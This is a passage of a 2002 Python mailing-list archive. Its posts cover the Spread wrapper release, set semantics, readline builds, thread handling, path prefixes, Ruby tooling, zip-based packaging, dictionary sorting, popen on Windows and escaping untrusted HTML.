dir and expect "import mypackage" to work with it's objects in the "mypackage" namespace (or is the "from mypackage import *" the canonical way to do this?). To me "from mypackage import mypackage" is clumsy. I can see "from mypackage import mysubpackage" though... Also, thanks for the help Chris Dave LeBlanc Seattle, WA USA From guido at python.org Fri May 17 16:48:16 2002 From: guido at python.org (Guido van Rossum) Date: Fri, 17 May 2002 16:48:16 -0400 Subject: ANN: Python Spread Module 1.1 Released Message-ID: <200205172048.g4HKmGp13178@pcp742651pcs.reston01.va.comcast.net> I've released version 1.2 of the Spread Module for Python: http://www.python.org/other/spread/ About the Spread Module ----------------------- This package contains a simple Python wrapper module for the Spread toolkit (see below). The wrapper is compatible with Python 2.1 and 2.2. It wraps Spread mailboxes and messages in Python objects with appropriate methods and attributes, and turns Spread errors into Python exceptions. Virtually all Spread features are accessible from Python. About Spread ------------ >From the Spread website (http://www.spread.org): Spread is a toolkit that provides a high performance messaging service that is resilient to faults across external or internal networks. Spread functions as a unified message bus for distributed applications, and provides highly tuned application-level multicast and group communication support. Spread services range from reliable message passing to fully ordered messages with delivery guarantees, even in case of computer failures and network partitions. Spread is designed to encapsulate the challenging aspects of asynchronous networks and enable the construction of scalable distributed applications, allowing application builders to focus on the differentiating components of their application. Changes since release 1.2 ------------------------- - Changed internal uses of Python's object memory API to stop using macro versions of the names (that worked fine, but was dubious practice for non-core extension modules). - Changed mbox.disconnect() to be as safe as possible when SPREAD_DISCONNECT_RACE_BUG is not defined. - Added a test to ensure than the scenario described below doesn't deadlock (two threads in a process sharing an mbox, and one thread doing mbox.receive() waiting for the other thread to do mbox.multicast()). This test deadlocks with high probability if you define SPREAD_DISCONNECT_RACE_BUG. - SPREAD_DISCONNECT_RACE_BUG is turned off, although Spread 3.16.2 still suffers the insecurity it was guarding against. Alas, the workaround can cause deadlocks, depending on how the app uses Spread. Enjoy! --Guido van Rossum (home page: http://www.python.org/~guido/) From jb at cascade-sys.com Sun May 19 00:34:07 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Sat, 18 May 2002 21:34:07 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> Message-ID: <3CE72B3F.F0BC4ADB@cascade-sys.com> Fernando P?rez wrote: > So the issue is not whether it can be done > or not, but whether the existence of that penalty tilts the decision in favor > of making them mutable and thus paying the price of losing hashability. As I acknowledged in my previous post. Furthermore, I previously recanted and agreed a mutable implementation probably is better because of performance reasons. > And by the way, when you say 'Creating a new one each time SOUNDS like a lot > more work but in practice I bet it won't be', I hope you don't really mean > that. I meant that, like with strings, the majority of users won't have a problem. I don't mean that nobody will. Exactly like with Numerics -- some applications require much greater numeric performance than Python offers out of the box. Say La Vee. > If you deal routinely with sets with 2**N (N>>30) elements, a copy > operation for simulating += can be prohibitive. Why do you think that > Numeric's arrays implement [a:b] slicing as a reference and not a copy > operation (which bites most newbies _hard_)? One could similarly imagine a special Set implementation for huge numbers of elements. E.g., some applications might use large sets of a subrange of integers, say 0..64K. For them a bitmap implementation (ala Pascal) might be way more efficient than any kind of dictionary lookup. Even if you need sets of arbitrary values, a special high-performance version might be appropriate as a library alternative instead of loading extra complexity into the base language. If you're pushing the envelope, you're pushing the envelope and you may run into problems. > That is the crux I'm trying to point you to, not whether > you can _simulate_ in-place operations with immutable objects. We've known > that all along. Then you should have SAID that sooner. ;o) Most of my objections have been with the faulty reasons you used in your argument. > In case you are curious, for the 2d case the meat of the Laplace code is > as simple as: Can you think of a practical example that requires efficient, large SETs? Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From pyth at devel.trillke.net Tue May 28 04:57:29 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 28 May 2002 10:57:29 +0200 Subject: Python 2.2.1 question In-Reply-To: <200205281021.15205@xsebbi.de>; from xsebbi@gmx.de on Tue, May 28, 2002 at 10:21:15AM +0200 References: <200205281021.15205@xsebbi.de> Message-ID: <20020528105729.F17248@prim.han.de> Sebastian Roth wrote: > Hi all, > > I've got an question about Python 2.2.1. It's selfcompiled but it looks > like that it don't have an history. If I press it simply > prints: ^[[A > > but why? Which ./configure-argument was missing ? check that you have the header files for the 'readline' library installed before you 'configure'. I guess you also need to exec 'import rlcompleter' (readline-completer) somewhere in your startup files (PYTHONSTARTUP points to a script). Oh and i assume that you are using a variant of unix :-) holger From mgilfix at eecs.tufts.edu Thu May 2 15:00:17 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Thu, 2 May 2002 15:00:17 -0400 Subject: Killing a running thread In-Reply-To: <20020502144016.GA16810@teich.Garten.DigitalProjects.com>; from ASkwar@DigitalProjects.com on Thu, May 02, 2002 at 04:40:16PM +0200 References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> <20020502131214.GI13641@teich.Garten.DigitalProjects.com> <20020502100911.A16352@eecs.tufts.edu> <20020502144016.GA16810@teich.Garten.DigitalProjects.com> Message-ID: <20020502150017.B25531@eecs.tufts.edu> Just write your own map that's threadable, i.e, applies a function to each argument in the list and appends it. Should be trivial to write and you can check the threaded argument. On Thu, May 02 @ 16:40, Alexander Skwar wrote: > Yes, that's for the easy case of the readline loop. However, how could > I break up a file.write() or a map()? -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From cprinos at foliage.com Thu May 30 07:31:48 2002 From: cprinos at foliage.com (Chris Prinos) Date: Thu, 30 May 2002 11:31:48 GMT Subject: Python ActiveX Scripting Engine (0x80020009) Error - KeyboardInterrupt - python 2.2 References: <508cb8ae.0205290757.6659230@posting.google.com> <508cb8ae.0205300247.4cb902c2@posting.google.com> Message-ID: "B" wrote in message news:508cb8ae.0205300247.4cb902c2 at posting.google.com... > Thanks Chris that seems to have solved the problem for the moment, > although twice when i was editing the global.asa file and then testing > my redirect pages, I got a ValueError exception...doesnt seem to > happen now though. I'm not sure what this is from. > > Am I right in thinking that your code,when entered into the global.asa > file, catches all the keyboardInterrupt messages before they get to > the python engine and so solve the problem ? Yes, it effectively swallows the exceptions because the handler just executes a 'pass' statement. Chris From fperez528 at yahoo.com Tue May 21 23:22:21 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 21 May 2002 21:22:21 -0600 Subject: Extending: overloading operators (e.g. for a vector class) References: Message-ID: Chris Liechti wrote: > say i have the follwing class (details ommited): > > class Vector2D: > def __init__(self, x=0, y=0): > self.x, self.y = x, y > ... > def __mul__(self, other): > if type(other) in (int, float): > return Vector2D( self.x*other, self.y*other ) > else: > raise NotImplementedError > > now i want to program this as a C extension type (for practise, i know that > there are existing extensions to represent a vector). Why don't you poke a bit through the Numeric sources? I'm sure they are quite a valuable source of the gory details on how to do this, since a numeric array() has overloaded all arithmetic operators in various fancy ways. Good luck, f From akuchlin at mems-exchange.org Tue May 28 13:09:08 2002 From: akuchlin at mems-exchange.org (A.M. Kuchling) Date: 28 May 2002 17:09:08 GMT Subject: ANN: PyUnitTestBrowser References: Message-ID: In article , Phlip wrote: > Also, I discovered another missing feature about PyUnit (and the other > *Units I have interviewed). All of them seem to have neglected to include > their own unit tests in their distributions. This sentence refers to > itself. >sigh< Sancho has a simple set of unit tests for itself. (Brain-bending to write, as I recall...) --amk From tim_one at email.msn.com Tue May 21 23:07:21 2002 From: tim_one at email.msn.com (Tim Peters) Date: Tue, 21 May 2002 23:07:21 -0400 Subject: suggestion for os.path.commonprefix In-Reply-To: <6c575772.0205210145.359ea49a@posting.google.com> Message-ID: [Cristian Barbarosie] > I noticed the following peculiar behaviour os.path.commonprefix: > > >>> os.path.commonprefix(['/home/someuser/modulef/essay.tex', > ... '/home/someuser/mollifiers/fig01.ps']) > '/home/someuser/mo' As the docs say, Return the longest path prefix (taken character-by-character) that is a prefix of all paths in list. If list is empty, return the empty string (''). Note that this may return invalid paths because it works a character at a time. > I think the answer should be '/home/someuser/'. At least, this is > what I expect when I do pathname manipulations in Python. > So I propose the following replacement for os.path.commonprefix: That was tried before, and it broke too much code. You could push for a new function with a new name, but commonprefix won't change again. If you want to write one, note that os.sep isn't enough: os.altsep also needs to be considered, and at least on Windows both forward and backward slashes are legit path separators but os.altsep is None. Then some people will complain that it's platform-dependent (commonprefix as-is is not). Others will insist that, in your example, you leave the trailing slash in, while others will insist that you don't. Have fun . From jason at jvoegele.com Mon May 20 13:39:08 2002 From: jason at jvoegele.com (Jason Voegele) Date: 20 May 2002 10:39:08 -0700 Subject: Ruby for Newbie?! References: Message-ID: <91acf731.0205200939.41e89a8f@posting.google.com> Scrumpy wrote in message news:... > I want to learn a programming language. I wish you the best. > I'm primarily looking for a langauge to develop web apps and cgi. I would > also like to create GUI apps and perhaps use it for some network admin > tasks. I'll create apps on, and for, Linux and MS Windows. > > I'd narrowed down my choice to Python until I came across Ruby ;-) > > Is there currently a Ruby equivalent of the following Python related tools, > modules, libraries etc.: > > 1/ Tools to create standalone apps to ease distribution i.e. no need to > have Ruby installed or to ensure no conflicts between the version of Ruby > used to develop the app and a different installed version. > > Python: Installer & py2exe. > RUBY: ? Please see http://www.rubygarden.org/ruby?DistributeARubyAppInASingleExecutable The short answer is that there are a couple of options, but neither one is as stable as the Python equivalent. > 2/ IDE. > Python: Boa Constructor, Pythonwin, IDLE. > RUBY: Practical Ruby (basic IDE for Windows). Is there a Linux IDE for > Ruby? There is also RDE (Ruby Development Environment) for Windows. Just recently, someone released a Ruby plugin for Eclipse, which is a development environment written in Java, which runs on Linux and other platforms. Of course, you also have Emacs and vi. :) The most promising project is FreeRIDE (http://www.rubyide.org), which is a pure Ruby IDE currently under development. Unfortunately, the FreeRIDE development team has not yet made a release, but they are making very good progress. > 3/ GUI toolkits/libraries. My preference is towards using wxWindows. > Python: wxPython, PyQt, PyGTK. > RUBY: Ruby has FXRuby (FOX), RubyGnome (Gtk+), rbXPCOM (Mozilla XPToolkit), Ruby/FLTK, Ruby/Qt, and Ruby/Tk. More information at: http://www.rubyide.org/cgi-bin/wiki.pl?GUIFrameworkProject/GUIComparison > 4/ Web platforms/frameworks etc. > Python: mod_snake, mod_python, Webware. > RUBY: mod_ruby - any comments about it's stability/suitability for web app > development? Any Ruby equivalent to Webware and it's PHP like (psp) > function? There are several that can be found on the Ruby Application Archive (RAA). A few that spring immediately to mind are mod_ruby, IOWA, and WEBrick. ERuby is the "PHP-like" ruby tool. I don't know anything about Webware. > 5/ One file Interpreter i.e. to use on a shared hosting co.'s server that > doesn't have Ruby installed. > Python: mxCGIPython (uses the freeze tool). > RUBY: ? I'm not sure what you mean here. > Is there an 'offical' Ruby binary for Windows? It looks like there are > three unofficial ones created using three different compilers! It depends on what you mean by 'official'. The "de facto" official Ruby binary for Windows is from "The Pragmatic Programmers", Dave Thomas and Andrew Hunt. You can find it here: http://www.pragmaticprogrammer.com/ruby/downloads/ruby-install.html This version is now built using Microsoft Visual C++. Previous version were built with gcc/cygwin. Windows binaries built with VC++, gcc/cygwin, and mingw are all available for download. You can also download the source and build with any C compiler you'd like. > Finally, is there a good Ruby book aimed at newbie programmers (not > existing programmers new to Ruby)? It has not yet been released, but Pete McBreen, author of "Software Craftmanship", is currently writing a Ruby book aimed at newbie programmers. Until this book is completed, the next best thing would be Dave Thomas' and Andrew Hunt's "Programming Ruby", which is available online at: http://www.rubycentral.com/book/ > NOTE: I made a recent post on this newsgroup saying that I was selecting > Python as my 1st language and that I hadn't received any response to posts > I had made to comp.lang.ruby. Ironically, I received a post from a Ruby > user who said he never saw my posts (faulty ISP or newsgroup!) so I'm > reposting in both newsgroups. Apologizes to Pythoners. And I apologize for contributing to a Ruby-focused thread on c.l.py, however this message has still not made it to comp.lang.ruby -- Jason Voegele "We believe that we invent symbols. The truth is that they invent us." -- Gene Wolfe, The Book of the New Sun From Bill.Scherer at VerizonWireless.com Thu May 2 07:33:10 2002 From: Bill.Scherer at VerizonWireless.com (Scherer, Bill) Date: Thu, 2 May 2002 07:33:10 -0400 (EDT) Subject: Message queueing In-Reply-To: Message-ID: Hello, and welcome to Python. Take a look at spread, www.spread.org, and the recently released Python module for it at http://www.python.org/other/spread/ . I not certain it's exacty a 'message queue', but it may work for you. - Bill On Thu, 2 May 2002, Etienne Labuschagne wrote: > Hi all, > > I am new to this group and could not find an answer after a Google > search, so please bear with me if this question was already asked. > > I need to build a distributed app and I am wondering which message queue > to use and if anyone has any experience with interfacing to them in > general. > > I have played around a bit with Microsoft's using pythonwin to connect > to the COM objects and although this works, I want to be platform > independent if at all possible. I am looking into using JMS (Java > Message Queue) using Jython and this seems to be a viable alternative. > I do not want to be restricted only to Jython as my preference lies with > using Python (CPython). How am I going to get CPython to talk to > something written in Java? > > So far I have created an XML-RPC "bridge" so that my CPython code can > talk to my Jython based JMS connector. This entails creating an XML-RPC > server on both sides (for calls and call-backs) but this feels a bit > kludgey. > > Any suggestions? > > Thanks > Etienne > > -- Bill.Scherer at Verizon Wireless RHCE 807101044903581 From jkn at nicorp.f9.co.uk Mon May 20 13:20:23 2002 From: jkn at nicorp.f9.co.uk (Jon Nicoll) Date: 20 May 2002 10:20:23 -0700 Subject: popenX() misunderstanding on win32 Message-ID: <8351bb33.0205200920.67743afb@posting.google.com> Hello there I'm trying to get a small python script running under WinNT and am having trouble due to my lack of understanding of the mechanism of popen2() etc. I know that previous versions of popenX() have been broken but I don't think that's the problem. In its simplest form: Say I have a console program UPPER.EXE, which loops round echoing standard input to standard output: c:\> upper qwertyuiop # my typing QWERTYUIOP # the program etaions # me ETAOINS # the program ... ^C C:\> Then, how can I use popenX() to invoke the program, and write and read to 'stdin' and 'stdout', to duplicate the above? my experiments so far, involving os.popenX() and win32pipe.popenX(), haven't got me anywhere - I either get nothing when I do a read, or the process hangs waiting for input that I think should alread be there. Thanks for any pointers Jon N From look at replyto.address.invalid Mon May 27 01:14:46 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Mon, 27 May 2002 17:14:46 +1200 Subject: Derived class problem References: Message-ID: <3CF1C0C6.F7D88E23@replyto.address.invalid> Geiger Ho wrote: > > class A: > def method1(self): > ... > child = A() > ... > > class B(A): > pass > > When I call B.method1(), I will create an A child. But this is not I > intend to do. I wanna create a B child. child = self.__class__() -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From njm at neok.com Sun May 12 08:26:26 2002 From: njm at neok.com (guitchess) Date: Sun, 12 May 2002 08:26:26 -0400 Subject: streaming audio References: Message-ID: <3cde6d66_2@nntp2.nac.net> Rob Brown-Bayliss wrote: > > Hi, > > I am looking for some information on the basics of audio streaming, or > any sort of data streaming really. > > I want to create an app to stream audio around a LAN and really have > know Idea on where to start. > > Thanks in advance. > It takes a lot of small files this way but it works for me. I wrote a python script that does most of the work for me. 1. Make dir with mp3s or any format for that matter. 2. Make m3u files for each mp3 or groups of mp3s 3. Make links to those m3u files on an html page. Drawbacks: If you have a lot of mp3s and try to do this by hand it's going to take a while. If you wanted to know about streaming Real audio, sorry I wasted your time, but I don't know any thing about that. If you have python or perl, I will send you some code for the scripts. If you want them. -- Ned :-> From jeff at ccvcorp.com Wed May 29 19:24:35 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 29 May 2002 16:24:35 -0700 Subject: re References: <3CF3CDB9.A1416BF3@millfilm.co.uk> <3CF4AD87.9050206@mxm.dk> Message-ID: In article <3CF4AD87.9050206 at mxm.dk>, Max M says... > Eric Texier wrote: > > > I am trying to do replace '#' with a number in string with some control > > over the padding: > > > > a = 'echo file#.sgi file#~3.sgi file#~5*2.sgi' > > If possible you are better of using Pythons string formatting notation > for this: > > val = 3 > a = 'echo file%s.sgi file%.3i.sgi file%.5i.sgi' % (val, val, val*2) > print a If you're expecting the inserted text to always be decimal numbers, then you're better off using the %d formatting code instead of %s or %I -- a = 'echo file%d.sgi file%03d.sgi file%05d.sgi' % (val,val,val*2) -- Jeff Shannon Technician/Programmer Credit International From sean.mcgrath at propylon.com Sat May 4 04:17:42 2002 From: sean.mcgrath at propylon.com (Sean McGrath) Date: Sat, 04 May 2002 09:17:42 +0100 Subject: Synchronization mixin in Python anyone? In-Reply-To: <20020503231802.8381.88397.Mailman@mail.python.org> Message-ID: <5.1.0.14.0.20020504091421.037e04a8@mail.digitome.com> Gustavo, Thanks. That is helpful. regards, Sean [Sean McGrath] >> The Zope system contains a Synchronization mixin class >> for thread synchronization written in C. Derive a class from >> Synchronized >> and any mythod calls on an instance of the class are >> thread safe. >> >> Does anybody know of any Python implementation? The C version >> exhibits "interesting" refcounting behavior I need to work around. [Gustavo Cordova] >Hmmm... interesting problem. I've been playing with a function >synchronization class lately, just toying with the idea. I don't >know if anybody wants it, but here's the basic skeleton: >### SynchronizedCall >import thread >class SynchronizedCall: > def __init__(self, function, *args, **kw): > self._lock = thread.Lock() > self._args = args > self._kw = kw > self._function = function > def __call__(self, *args, **kw): > self._lock.acquire() > try: > args = self._args + args > kw.update(self._kw) > result = self._function(*args, **kw) > ## In case of an exception, release lock first. > except: > self._lock.release() > raise > self._lock.release() > return result From xtian at toysinabag.com Mon May 20 19:39:16 2002 From: xtian at toysinabag.com (xtian) Date: 20 May 2002 16:39:16 -0700 Subject: Sort dictionary data References: Message-ID: Marcus Laranjeira wrote in message news:... > All, > > I have a dictionary that I need to be sorted. the current structure is : > > dic { 'aaa', 1, 'bbb', 1, 'ccc', 3, 'ddd', 2, 'eee', 1} > > and I need this to be sorted and the final dictionary should be: > > dic { 'aaa', 1, 'bbb', 1, 'eee', 1, 'ddd', 2, 'ccc', 3} > > does anyone knows how can this be done ? Is there any ready module to do > such sorting ? Hi Marcus - Dictionaries are effectively unsorted, for performance reasons - keys are stored in the dict at the locations of their hash values. If you want the items in the dict sorted, you'll need to extract them from the dictionary (using .items()) and sort them before you use them. Simple approach (using sorter function): >>> def sorter(x, y): return cmp(x[1],y[1]) >>> i = dic.items() >>> i [('eee', 1), ('aaa', 1), ('bbb', 1), ('ccc', 3), ('ddd', 2)] >>> i.sort(sorter) >>> i [('eee', 1), ('aaa', 1), ('bbb', 1), ('ddd', 2), ('ccc', 3)] ... or by Schwartzian transform (decorate-sort-undecorate): >>> def flip((x,y)): return y,x >>> i = dic.items() >>> i [('eee', 1), ('aaa', 1), ('bbb', 1), ('ccc', 3), ('ddd', 2)] >>> i = [flip(t) for t in i] >>> i [(1, 'eee'), (1, 'aaa'), (1, 'bbb'), (3, 'ccc'), (2, 'ddd')] >>> i.sort() >>> i = [flip(t) for t in i] >>> i [('aaa', 1), ('bbb', 1), ('eee', 1), ('ddd', 2), ('ccc', 3)] If the list you're sorting is large, using the Schwartzian transform ensures that the sort is done by built in comparison, rather than calling the Python sorter function O(n*logn) times. (I love that you can do tuple unpacking in argument lists - reminds me of the pattern matching in Haskell and Erlang!) Hope that helps, xtian From big.john at bigfoot.com Fri May 24 08:43:06 2002 From: big.john at bigfoot.com (Johann =?ISO-8859-1?Q?H=F6chtl?=) Date: Fri, 24 May 2002 14:43:06 +0200 Subject: Add .par functionality (like Java .jar) References: <3CEBAA0E.20006@bigfoot.com> Message-ID: <3CEE355A.2090403@bigfoot.com> Paul Moore wrote: > Johann H?chtl writes: > > >>As SourceForge doesn't allow to add a featur erequest without beeing >>logged in, i post it here: >> > > Why not log in? It's not hard... > > >>Summary:Add .par functionality (like Java .jar) >> >>Detailed Description: >>This feature would make people extremely happy to be >>able to download a single file, double-klick (either on >>windows or gnome/kde) and see what python can do for them. >> >>(Assuming, that a python interpreter is installed) >> > > This has come up a number of times. Most of the pieces are already in > place. You can write an import hook now, to allow import from Zip > files. PEP 273 formalises this and makes it part of Python, but that's > all. > > Loading data from a zip file is a little harder, but here's a class > that (mostly) works. > > class Resource: > def __init__(self, filename): > self.zip = ZipFile(filename) > def __del__(self): > self.zip.close() > def read(self, filename): > return self.zip.read(filename) > def open(self, filename): > return StringIO(self.zip.read(filename)) > > Just use as > > z = Resource("test.zip") > > Then to get the complete data from a particular file in the zip, just > do data = z.read("filename") or to get a file-like object, just do f = > z.open("filename"). You have problems with stuff that needs a *real* > file, but there isn't much around that you can't work round one way or > another... > I was not thinking about any external ressources a python program will eventually require like bitmapped data for graphics or architecture dependent libraries (.so, dll). > The main lack is the ability to handle compiled extensions, but you're > never going to get that without OS support. Just ship the necessary > .dll/.so files separately, and manipulate sys.path, if you need to. > > For true one-file-to-run functionality like JAR files, all you really > need is to package the main driver script plus the zip file > together. As zip files can have arbitrary content tacked on the front, > just concatenating the script and the zip file should > work. Unfortunately, the Python interpreter chokes on trailing garbage > :-( > > You can work around *this* on Windows by embedding a CTRL-Z character > (Python opens scripts in text mode, and CTRL-Z is EOF in text mode) > but I don't know how to do it on Unix. > > So the only remaining pieces of the puzzle are: > > 1. Find a way of combining a driver script plus a zip file. > 2. Formalise this, if you want, to come up with a "standard". > I spent some time to see how it is done in java. There, a standardized file in a standardized directory within the jar(zip)-archive is read and interpreted. This file can carry a bunch of information, for example the startup-class or the CLASS-PATH which serves as the startpoint of execution. http://java.sun.com/j2se/1.3/docs/guide/jar/jar.html Once this file is loaded, it can import dependencies without knowing whether it was started from the file system or jusing the 'jar-lever'. I think you mean package the main .py- file with all the other modules which are now in a zip file together and let the main.py file care about it's imports. IMHO this is bad design as the startup.py has to care whether is is loading it's modules from the directory (and relying on standard python mechanism) or from a python-zip package. The consequence is that already python(.exe) has to have the knowledge to inspect the archive and see if there is a startup-script in it. I am a python beginner and i don't yet know if it would be a problem to name this file __init__.py like packages in a directory. > There are a number of options for part 1 (custom executable with > Python embedded, encode the zipfile as text and decode on the fly at > script startup, etc etc). Gordon McMillan's Installer does all this, > but it takes it a few steps further, by searching out dependencies, > rather than relying on an installed Python interpreter. So there are > ideas there, if you want to look. > I visited the site. Packaging the whole interpreter is maybe still necessary for MS-Windows, on UNIX-Systems python can already be assumed to be available without having especially asked for it. (I wouldn't wonder if SuSE or Slackware 8 give a dependency warning when i try to deselect python) Reminds me of the time three years ago or so, when java applications came with JRE pre-packaged. Nowadays it's assumed to be installed. > It would be nice to have an option in the existing Python interpreter, > but I'm not sure it's needed. With PEP 273, all you need may be > > python -c "import sys; sys.path.insert(sys.argv[1]); import Main; Main.main()" myfile.zip That's already near at the goal, but it's not self-contained. You have to put this line into a unix semi-executable +x or create a shortcut in a GUI. > > Part 2 is the important one. If you really care about making this a > *standard* feature, you have to persuade people to do it in the same > way each time, rather than reinventing the wheel. Personally, I would > like to see one-file Python applications which worked like jar files > become common - it irks me that people view this as something clever > that only Java can do - but I'm not motivated enough to push what is > essentially a "political" issue rather than a technical one. > > So, in summary: You have my support, but it's not so much a feature > request as an (informational) PEP describing a standardised > technique. If the standard becomes popular, I can see Python growing a > command line switch to simplify the process, just like Java did > (executable Jars came with JDK 1.2, IIRC, but jarfile technology was > there from day 1...) > > Hope this helps, Thank's a lot for your explanations. I am still a Python beginner. After a year of language (re-)search I think I finally ended up with Python and I'm happy that I didn't get stuck with Java .... > Paul. > > From rpm at wag.caltech.edu Thu May 2 12:55:00 2002 From: rpm at wag.caltech.edu (Richard P. Muller) Date: Thu, 02 May 2002 09:55:00 -0700 Subject: Unpacking a python list in C? Message-ID: <3CD16F64.F2146F70@wag.caltech.edu> I need some help with extending python in C. I want to call a function of a list from python: answer = my_function(my_list) where my_function is a function, and my_list is a python list of floats. I want my_function to be a C function, and want to extract my_list into an integer length and a double * pointing to the values. I spent some time searching through the extension guide in the docs, but either this isn't there or I missed the section in which it is discussed. I also flipped through a few of my python books without luck. Could some kind soul take pity on me and tell me how to do this? Thanks in advance... Rick -- Richard P. Muller, Ph.D. rpm at wag.caltech.edu http://www.wag.caltech.edu/home/rpm From marklists at mceahern.com Wed May 1 10:31:00 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 1 May 2002 09:31:00 -0500 Subject: Python vs. Perl, which is better to learn? In-Reply-To: Message-ID: [brueckd at tbye.com] > IMO this is what makes the Python way a Good Thing - that tiny bit of > extra effort required to use them (hopefully) makes a person stop and > consider if re's really are the right tool. It's pretty common to have > someone wondering how to reduce the complexity and/or improve the > performance of their re and have the answer be "don't use an re" or "do > more of the work outside the re". What's that saying? It goes something like, Suppose you have a problem that you think requires regular expressions. Now you have two problems. ;-) // mark From fredrik at pythonware.com Wed May 1 16:32:41 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 01 May 2002 20:32:41 GMT Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> Message-ID: Cliff Wells wrote: > More than once she's threatened to use me as a "scratch monkey", > whatever that means. google is your friend. From cshanbha at uiuc.edu Wed May 1 11:51:34 2002 From: cshanbha at uiuc.edu (Chandan Shanbhag) Date: Wed, 1 May 2002 10:51:34 -0500 Subject: Defining new functions at runtime Message-ID: I am writing a GUI interface to a database using tkinter. Now, I want to provide a facility where a user can define python functions using the GUI and then run them in the same runtime environment. so, a normal function needs to be treated like a method object. Is this possible? Can I treat functions as first class objects? Can somebody please guide me as to how I could accomplish this? Thanks Chandan From roy at panix.com Thu May 30 07:10:27 2002 From: roy at panix.com (Roy Smith) Date: Thu, 30 May 2002 07:10:27 -0400 Subject: Survey: bsddb is definitely broken. Should it be fixed, or deprecated? References: <4c877253.0205091721.6f675f81@posting.google.com> Message-ID: garth at deadlybloodyserious.com (Garth T Kidd) wrote: > Frankly, I'd rather people use dumbdbm (slow) than bsddb (unreliable), > but I'd like to hear what everyone else thinks. I agree. Fast is good, but working is better. We had a rather ugly incident here a while ago with a python app I wrote having to read dbm files written by somebody else's perl code as well as some written by python. Had to run on variety of linux and solaris boxes. After going around and around with incompatable versions of things (not to mention that bsddb blows up on large data), we finally just bit the bullet and said "everything uses gdbm, on all platforms, under all languages". From jochen at jochen-kuepper.de Sat May 11 21:02:29 2002 From: jochen at jochen-kuepper.de (Jochen =?iso-8859-1?q?K=FCpper?=) Date: 11 May 2002 21:02:29 -0400 Subject: Python stagnating? References: <3CDC8588.ED5DA7F5@engcorp.com> Message-ID: On Fri, 10 May 2002 22:44:24 -0400 Peter Hansen wrote: Peter> Steve Holden wrote: >> >> PDF is great if you're going to print documentation, which I do with lower >> frequency as time goes by. Peter> You can print PDFs? No. Printers don't understand it! It is fairly straightforward to translate into Postscript or any other printer language, though, if you wish so. :)) Greetings, Jochen -- Einigkeit und Recht und Freiheit http://www.Jochen-Kuepper.de Libert?, ?galit?, Fraternit? GnuPG key: 44BCCD8E Sex, drugs and rock-n-roll From occeanlinux at linuxmail.org Fri May 31 04:29:53 2002 From: occeanlinux at linuxmail.org (Gold Fish) Date: Fri, 31 May 2002 08:29:53 GMT Subject: count file Message-ID: <3cf734ba_1@news.iprimus.com.au> How can we determine how many file in directory, From cliechti at gmx.net Sat May 25 19:43:50 2002 From: cliechti at gmx.net (Chris Liechti) Date: 26 May 2002 01:43:50 +0200 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: Tim Churches wrote in news:mailman.1022364102.10713.python-list at python.org: ... > But Martin v. Loewis points out: >> ...It is easy enough to install multiple >> versions of the interpreter, though. > > Indeed it is (unlike many other languages which make having > multiple versions installed a nightmare), and these days the > extra disc space used by multiple installations is not a concern. So... > > How about a Python meta-bytecode-compiler/interpreter which examines > Python source code and/or bytecode and automatically sends the code to > the appropriate installed version of Python, resetting PYTHONPATH and > any other aspects of the environment appropriately? > > Parsing the entire source and trying to infer which version of Python is > appropriate would probably be too slow (and a big job to write...), > so maybe an #ifdef-style directive could be put at the top of each > Python script which triggers the appropriate behaviour, such as > > import __v1.5.2__ > > The module __v1.5.2__ would do nothing, but that line in the source > would direct the meta-Python to use the correct version. > > I'm not sure how such a meta-interpreter would deal with already > compiled > bytecode - is there a version stamp in the bytecode? > > If someone wants to write such a thing, I'd be happy to help test it... that idea might sound nice, but it's too late! the problem are _old_ scripts that nobody wants to touch and so there is no possibility to include such an import statement (and even add a empty _v*_.py file to satisfy the import). for the same reason a "from __past__ import x" is useless. if an old script needs python 1.5.2, just change the first line to #/usr/bin/env python15 (on unix, windows in an other plagu^H^H^H^Hroblem) if you're right now writing a module that has to be backward compatible, thats no problem, 'cause you can choose to only use features that exist in all python versions from 1.5.2 to 2.2.1. the problem is to write a _forward compatible_ script - but we all don't know what the distant future wil bring up... chris -- Chris From akuchlin at ute.mems-exchange.org Thu May 23 09:56:15 2002 From: akuchlin at ute.mems-exchange.org (A.M. Kuchling) Date: 23 May 2002 13:56:15 GMT Subject: Python cross-site scripting exploits? References: Message-ID: In article , Robin Becker wrote: > The alleged fix seems to involve more complete argument checking, is > that required for any such defence? What should the request response be? CSRF attacks have nothing to do with eval() or compile(), but by including untrusted bits of text in HTML output without escaping them. This means that if someone manages to input into the program (perhaps by putting it in their CVS checkin message), someone who comes along and views the page later will end up running that JavaScript code. The solution is difficult: you just have to be very careful to always escape text of unknown provenance that's in HTML. --amk From aleax at aleax.it Sat May 11 02:34:28 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 06:34:28 GMT Subject: grokking generators and iterators References: <3CDCAEDC.2030103@horvath.com> Message-ID: Bob Horvath wrote: ... > How would you suggest writing a generator that spits out 5 line chunks > of a file at a time? > > How would you do it without generators? class atatime: def __init__(self, S, n=5): self.it = iter(S) self.r = range(n) def next(self): return [self.it.next() for i in self.r] def __iter__(self): return self for li5 in atatime(open('somefile')): print '5 more lines:', li5 Alex From martin at v.loewis.de Sat May 11 09:34:47 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 11 May 2002 15:34:47 +0200 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> 